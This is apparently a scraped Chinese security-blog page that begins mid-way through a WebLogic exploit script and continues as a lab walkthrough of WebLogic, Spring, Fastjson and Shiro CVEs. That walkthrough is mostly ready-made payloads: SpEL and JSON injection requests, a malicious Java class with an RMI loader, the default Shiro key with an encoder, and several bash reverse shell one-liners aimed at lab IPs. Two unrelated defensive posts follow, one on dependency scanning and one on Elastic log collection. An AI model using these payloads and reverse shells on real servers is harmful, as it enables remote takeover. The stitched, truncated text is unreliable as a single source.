#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandle #command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url) #功能2:weblogic 12.x命令执行。 if args.url != None and args.xml != None: url_cmd = args.url + '/console/images/%252e%252e/console.portal' headers_12 = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml) weblogic_12(url_cmd,post_12,headers_12) # 功能3:回显命令执行批量。 if args.file != None and args.cmd != None: #print (1) for File in open(args.file): File = File.strip() url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork( print ("[*] >>> Test:" + File) url = File headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHand command(url_cmd,headers_cmd,url) if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami" weblogic RCE (CVE-2023-21839) 漏洞介绍CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144使用工具进行攻击下载地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839ja weblogic weak_password 该漏洞复现过程为通过任意文件读取其密文和加密的密钥文件进行破解,然后用得到的密码进行登陆,利用后台文件上传进行getshell复现过程任意文件读取payload hello/file.jsp?path=SerializedSystemIni.dat 二进制文件是密钥config.xml 是密文weblogic密码使用AES加密,老版本使用的是DES。需要找到密钥即可对密文进行解密这里利用任意文件读取漏洞对密钥和密文进行读取/hello/file.jsp?path=security/SerializedSystemIni.dat这里复制到文件/hello/file.jsp?path=config 浅浅总结下,weblogic特征404页面。/console可访问登陆,进后台管理可以通过war包上传getshell,有xmldecode反序列化和T3协议反序列化,存在SSRF漏洞打内网漏洞 spring spring框架Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。springboot框架介绍SpringBoot是一个快速开发的框架,能过快速整合第三方框架,他是如何快速整合的呢?其实他是的基本原来是Maven依赖关系,Maven的集成,完全采用注解化,简化XML配置,内嵌HTTP服务器(Tomcate, 敏感信息泄露漏洞 这里直接上工具扫就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/%22 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 漏洞利用 Spring-security-oauth(CVE-2016-4977) 影响版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=$%7B3*3%7D&client_id=acme&scope=openid&redirect_uri=http://test&&&response_type参数值会被当做Spring SpEL message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]:   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc) ${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).c Spring WebFlow远程代码执行(CVE-2017-4971) Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1这里有默认的账号密码登陆后点击confirm抓包漏洞触发点在这里payload构造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046) 漏洞原理Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码payload其中数字的构造payload = b'touch /tmp/success'bytecode = ','.join(str(i) for i in list(payload))print(bytecode) PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] 反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67, Spring CVE-2018-1270 影响版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用 #!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9. def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def del(self): self.session.close() sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1) sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','desti data = json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data) 反弹shell成功 Spring Data Commons RCE漏洞(CVE-2018-1273) Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123 python启动http.serverpython -m http.server 8888bash -i >& /dev/tcp/192.168.48.144/6665 0>&1payloadusernamehttp://192.168.48.144:8888/whoami6.sh%27&&]=&password=&123repeatedPassword=123)这里bash反弹成功了 ./执行未成功 Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) 漏洞说明2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway https://so.csdn.net/so/search?q=Actuator&spm=1001.2101.3001.7020端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。影响版本 Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway 3.0.x < 3.0.7 旧的、不受支持的版本也会受到影响 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, {"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com%22} 发送如下数据包触发表达式执行 POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i 发送如上数据包查看结果 Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963) 漏洞说明 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。漏洞利用手工复现 POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(j Test Spring Core RCE漏洞(CVE-2022-22965) 漏洞说明Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。/tomcatwar.jsp?pwd=aabysszg&cmd=whoami手工复现GET /?class.module.classLoader.resources.context.paren Spring Security 身份认证绕过漏洞 (CVE-2022-22978) 漏洞说明当SpringSecurity中使用RegexRequestMatcher进行权限配置,且规则中使用带点号的正则表达式时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效/admin/%0dtest/admin/%0atestspring漏洞总结spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露数据库密码等敏感数据,同时有许多的spel表达式注入漏洞,可以导致远程命令执行,还有身份认证绕过漏洞 Fastjson 什么是fastjson? fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1001.2101.3001.7020)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象 fastjson反序列化漏洞原理 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。fastjson漏洞利用过程编译一个恶意类,启动RMI服务,构造fastjson payload加载远程类,达到命令执行的目的。漏洞复现首先要配置好marshalsec.jar该工具是java反序列化工具,可以快速开启RMI和LDAP服务mvn编译,建议环境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.g import java.lang.Runtime;import java.lang.Process;public class test{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } }} javac test.javayakit启动dnslog java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test%22 6666整体流程1@type 指向com.sun.rowset.JdbcRowSetImpl类该类其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用2远程访问我们启动的rmi服务器,rmi服务器请求加载远程服务器的class,这个class就是我们提前编译上传到服务器的恶意class3.rmi将远程加载得到的class返回给靶机服 fastjson不出网打法利用 fastjson不出网的话我们就没有办法利用这个rmi服务进行远程加载恶意类了本地搭建环境TemplatesImpl打法利用条件苛刻服务端使用parseObject时,必须使用如下格式才能触发漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField) <dependencies><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency></dependencies> Templateslmplcmd.Java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Templateslmplcmd extends AbstractTranslet {   public Templateslmplcmd() throws Exception {       Runtime.getRuntime().exec("calc");   }   @Override   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {   }   @Override   public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {   } }import java.io.*; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.util.Base64; public class test01 {   public static void main(String[] args) throws Exception {       FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");       byte[] bs = new byte[inputFromFile.available()];       inputFromFile.read(bs);       String encodedBytes = Base64.getEncoder().encodeToString(bs);       //<=1.2.24       String payload = "{\r\n"               + "   \"a\": {\r\n"               + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"               + "       \"_bytecodes\": [\r\n"               + "           \""+encodedBytes+"\"\r\n"               + "       ], \r\n"               + "       \"_name\": \"aaa\", \r\n"               + "       \"_tfactory\": { }, \r\n"               + "       \"_outputProperties\": { }\r\n"               + "   }\r\n"               + "}";       //<1.2.48 //         payload = "{\r\n" //               + "   \"a\": {\r\n" //               + "       \"@type\": \"java.lang.Class\", \r\n" //               + "       \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n" //               + "   }, \r\n" //               + "   \"b\": {\r\n" //               + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n" //               + "       \"_bytecodes\": [\r\n" //               + "           \""+encodedBytes+"\"\r\n" //               + "       ], \r\n" //               + "       \"_name\": \"aaa\", \r\n" //               + "       \"_tfactory\": { }, \r\n" //               + "       \"_outputProperties\": { }\r\n" //               + "   }\r\n" //               + "}";       System.out.println(payload);       JSON.parseObject(payload, Feature.SupportNonPublicField);   } } BCEL不出网打法C3P0二次反序列化打法等等可参考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md shiro shiro漏洞原理介绍shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64编码采用AES加密我们拿到KEY的话就可以解密,服务端会进行base64解码+AES解密进行反序列化,那么拿到KEY便可以进行修改rememberMe的值进行反序列化攻击 shiro-CVE-2016-4437 CVE-2016-4437,影响版本shiro1.24如果未勾选 Remember me,则只能在返回包里看见勾选可看这里是先用工具爆破密钥手工复现,更容易理解漏洞过程key如下kPH+bIxk5D2deZiIxcaaaA==参考网上公开代码如下:::infoimport uuidimport base64from Crypto.Cipher import AES def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphe if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反弹shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC shiro-CVE-2020-1957 漏洞描述使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过Apache Shiro 对 Spring Boot 中的 Servlet的权限控制,越权并实现未授权访问。漏洞影响版本 Apache Shiro < 1.5.1 漏洞复现payload /xxx/..;/admin/ 越权访问后台管理系统 shiro baypasswaf bypasswaf可参考如下文章http://120.79.21.98:8090/archives/shirobypass shiro有key无利用链子打法 面试遇见过的问题,除了问shiro反序列化漏洞原理有时候也会问到这个点其实还是有链子的,链子多的话,通过爆破利用链,完成漏洞利用。环境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
甲方安全建设之研发安全-SCA
前言 大多数企业或多或少的会去采购第三方软件,或者研发同学在开发代码时,可能会去使用一些好用的软件包或者依赖包,但是如果这些包中存在恶意代码,又或者在安装包时不小心打错了字母安装了错误的软件包,则可能出现供应链攻击。因此去识别采购或者自研项目中的软件包,来保证其版本足够新、不存在恶意代码是解决供应链的一项重要措施,而SCA(软件成分分析)可以帮助完成这一动作。 OpenSCA-cli 下载地址:https://github.com/XmirrorSecurity/OpenSCA-cli 使用方法:首先使用了Docker的方式,快速扫描本地:docker run -ti --rm -v ${PWD}:/src opensca/opensca-cli笔者选择了一个自身的python项目,没发现风险: 不知道是不是Docker中没漏洞数据库还是Docker中的自带的漏洞数据库太少导致。再次尝试使用Docker连接其SAAS云端的方式进行扫描,发现可能是Docker内应用程序问题,导致TLS验证失败: Get "https://opensca.xmirror.cn/oss-saas/api-v1/open-sca-client/aes-key?clientId=SxxxZVL&ossToken=xx-xx-xx-xx-xx": tls: failed to verify certificate: x509: certificate signed by unknown autho 反正核心都是使用opensca-cli ,因此直接使用Github下载的二进制文件进行了本地扫描: -token xe43dxxf55-xx-xx-xx-xxx -proj "" -path ${待检测目标路径} 云端还是能扫出不少东西的: DependencyTrack 下载地址:https://github.com/DependencyTrack/dependency-track参考官方文档:https://docs.dependencytrack.org/getting-started/deploy-docker/这里使用Docker启动,且先不使用数据库: curl -LO https://dependencytrack.org/docker-compose.yml docker-compose up -d 根据docker-compose.yml内容,frontend前端端口是8080,访问8080,使用admin/admin登录: 这里依然以python项目为例,使用python-sbom生成工具生成sbom:https://github.com/CycloneDX/cyclonedx-python python -m pip install cyclonedx-bom python3 -m cyclonedx_py -h python3 -m cyclonedx_py requirements -o out.json 然后到Projects->Create project->Components->Upload BOM上传生成的BOM即可。 发现一个问题,就以python为例,DependencyTrack解析的是requirements等方式来获取的软件清单,相比于OpenSCA-cli少了很多,比如hostScan项目中的requirements.txt文件里面的包就是17个,DependencyTrack识别到的就是17个: 而OpenSCA-cli会发现一些依赖的包:
甲方安全建设之日志采集实操干货
前言 没有永远的安全,如何在被攻击的情况下,快速响应和快速溯源分析攻击动作是个重要的话题。想要分析攻击者做了什么、怎么攻击进来的、还攻击了谁,那么日志是必不可少的一项,因此我们需要尽可能采集多的日志来进行分析攻击者的动作,甚至在攻击者刚落脚的时候就阻断攻击者。 安装Elastic+Kibana Docker安装 这边根据官方文档:https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html 使用Docker安装了Elastic和Kibana # 安装es docker network create elastic docker pull docker.elastic.co/elasticsearch/elasticsearch:8.12.1 docker run --name es01 --net elastic -p 9200:9200 -it -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.12.1 # 记录es的密码和注册kibana所需要的token # 测试es是否正确运行 export ELASTIC_PASSWORD="es_your_password" docker cp es01:/usr/share/elasticsearch/config/certs/http_ca.crt . curl --cacert http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200 # 安装kibana docker pull docker.elastic.co/kibana/kibana:8.12.1 docker run --name kib01 --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:8.12.1 会给出kibana的注册地址,访问填入上述记录的token即可。 不知道是机器性能问题还是Docker安装的问题,es容器经常会挂掉。 RPM安装 根据https://www.elastic.co/guide/en/elasticsearch/reference/current/rpm.html、https://www.elastic.co/guide/en/kibana/current/rpm.html官方文档,可以yum install安装。因为公司访问镜像源被封,因此使用上述文档中下载rpm安装: # 安装es wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm.sha512 shasum -a 512 -c elasticsearch-8.12.1-x86_64.rpm.sha512 sudo rpm --install elasticsearch-8.12.1-x86_64.rpm 安装kibana wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm.sha512 shasum -a 512 -c kibana-8.12.1-x86_64.rpm.sha512 sudo rpm --install kibana-8.12.1-x86_64.rpm 依然在安装es的rpm时,会吐出es/kibana的密码: The generated password for the elastic built-in superuser is : Fq*S7jxCjFfPu6nN8NG8 es服务可能启动不了,但是安装时会给出启动命令: sudo systemctl daemon-reload sudo systemctl enable elasticsearch.service 测试es启动是否正常: export ELASTIC_PASSWORD="Fq*S7jxCjFfPu6nN8NG8" curl --cacert /etc/elasticsearch/certs/http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200 记得改下配置文件,使其监听在0.0.0.0上面: # /etc/elasticsearch/elasticsearch.yml # Allow HTTP API connections from anywhere # Connections are encrypted and require user authentication http.host: 0.0.0.0 # Allow other nodes to join the cluster from anywhere # Connections are encrypted and mutually authenticated transport.host: 0.0.0.0 kibana一样,记得改下配置文件,使其监听在0.0.0.0上面: # /etc/kibana/kibana.yml server.host: "0.0.0.0" 安装Fleet和Elastic Agent 在Kibana上,Management->Fleet->Add Fleet Server,先安装Fleet Server,URL填写https协议,端口可以填默认的8220。装好Fleet Server后再装Elastic Agent,Fleet Server也是一个Agent,因此不能在同一台机器上同时装Fleet Server和Elastic Agent。 为了使其Elastic Agent附带Security能力,可以添加各式各样的integrations集成,如到Security->Manage->Get started->Add security integrations安装安全集成: 测试告警 注意,如果有如下错误需解决,否则会无法查阅规则: 有些规则没开,记得开下,比如我把reverse shell规则打开后:Security->Dashboards->Detection & Response可以看到一些概览: 记录Windows事件管理器日志 安装 Windows事件管理器日志不是单纯的文本,因此需要借助一些工具来帮助我们完成采集的目的。这里使用winlogbeat(https://www.elastic.co/cn/beats/winlogbeat)完成。官方提供了很详细的安装文档(https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html),核心就是配置想要记录的日志类型和对外传输的方案,这里我使用的方案为: 记录的日志类型,我没改,默认就是Security、Application,甚至还有Sysmon 对外传输,我使用了传输到elastic 配置好winlogbeat.yml后可以进行测试配置文件对不对: .\winlogbeat.exe test config -c .\winlogbeat.yml -e 下面为我的配置文件信息: ###################### Winlogbeat Configuration Example ######################## # This file is an example configuration file highlighting only the most common # options. The winlogbeat.reference.yml file from the same directory contains # all the supported options with more comments. You can use it as a reference. # # You can find the full configuration reference here: # https://www.elastic.co/guide/en/beats/winlogbeat/index.html # ======================== Winlogbeat specific options ========================= # event_logs specifies a list of event logs to monitor as well as any # accompanying options. The YAML data type of event_logs is a list of # dictionaries. # # The supported keys are name, id, xml_query, tags, fields, fields_under_root, # forwarded, ignore_older, level, event_id, provider, and include_xml. # The xml_query key requires an id and must not be used with the name, # ignore_older, level, event_id, or provider keys. Please visit the # documentation for the complete details of each option. # https://go.es.io/WinlogbeatConfig winlogbeat.event_logs: - name: Application   ignore_older: 72h - name: System - name: Security - name: Microsoft-Windows-Sysmon/Operational - name: Windows PowerShell   event_id: 400, 403, 600, 800 - name: Microsoft-Windows-PowerShell/Operational   event_id: 4103, 4104, 4105, 4106 - name: ForwardedEvents   tags: [forwarded] # ====================== Elasticsearch template settings ======================= setup.template.settings: index.number_of_shards: 1 #index.codec: best_compression #_source.enabled: false # ================================== General =================================== # The name of the shipper that publishes the network data. It can be used to group # all the transactions sent by a single shipper in the web interface. #name: # The tags of the shipper are included in their field with each # transaction published. #tags: ["service-X", "web-tier"] # Optional fields that you can specify to add additional information to the # output. #fields: # env: staging # ================================= Dashboards ================================= # These settings control loading the sample dashboards to the Kibana index. Loading # the dashboards is disabled by default and can be enabled either by setting the # options here or by using the `setup` command. #setup.dashboards.enabled: false # The URL from where to download the dashboard archive. By default, this URL # has a value that is computed based on the Beat name and version. For released # versions, this URL points to the dashboard archive on the artifacts.elastic.co # website. #setup.dashboards.url: # =================================== Kibana =================================== # Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. # This requires a Kibana endpoint configuration. setup.kibana: # Kibana Host # Scheme and port can be left out and will be set to the default (http and 5601) # In case you specify and additional path, the scheme is required: http://localhost:5601/path # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601 #host: "localhost:5601" # Kibana Space ID # ID of the Kibana Space into which the dashboards should be loaded. By default, # the Default Space will be used. #space.id: # =============================== Elastic Cloud ================================ # These settings simplify using Winlogbeat with the Elastic Cloud (https://cloud.elastic.co/). # The cloud.id setting overwrites the `output.elasticsearch.hosts` and # `setup.kibana.host` options. # You can find the `cloud.id` in the Elastic Cloud web UI. #cloud.id: # The cloud.auth setting overwrites the `output.elasticsearch.username` and # `output.elasticsearch.password` settings. The format is `<user>:<pass>`. #cloud.auth: # ================================== Outputs =================================== # Configure what output to use when sending the data collected by the beat. # ---------------------------- Elasticsearch Output ---------------------------- output.elasticsearch: # Array of hosts to connect to. hosts: ["your_ip:9200"] # Protocol - either `http` (default) or `https`. #protocol: "https" # Authentication credentials - either API key or username/password. #api_key: "id:api_key" username: "elastic" password: "passwords" # Pipeline to route events to security, sysmon, or powershell pipelines. pipeline: "winlogbeat-%{[agent.version]}-routing" # ------------------------------ Logstash Output ------------------------------- #output.logstash: # The Logstash hosts #hosts: ["localhost:5044"] # Optional SSL. By default is off. # List of root certificates for HTTPS server verifications #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"] # Certificate for SSL client authentication #ssl.certificate: "/etc/pki/client/cert.pem" # Client Certificate Key #ssl.key: "/etc/pki/client/cert.key" # ================================= Processors ================================= processors: - add_host_metadata:     when.not.contains.tags: forwarded - add_cloud_metadata: ~ # ================================== Logging =================================== # Sets log level. The default log level is info. # Available log levels are: error, warning, info, debug #logging.level: debug # At debug level, you can selectively enable logging only for some components. # To enable all selectors, use ["*"]. Examples of other selectors are "beat", # "publisher", "service". #logging.selectors: ["*"] # ============================= X-Pack Monitoring ============================== # Winlogbeat can export internal metrics to a central Elasticsearch monitoring # cluster. This requires xpack monitoring to be enabled in Elasticsearch. The # reporting is disabled by default. # Set to true to enable the monitoring reporter. #monitoring.enabled: false # Sets the UUID of the Elasticsearch cluster under which monitoring data for this # Winlogbeat instance will appear in the Stack Monitoring UI. If output.elasticsearch # is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch. #monitoring.cluster_uuid: # Uncomment to send the metrics to Elasticsearch. Most settings from the # Elasticsearch outputs are accepted here as well. # 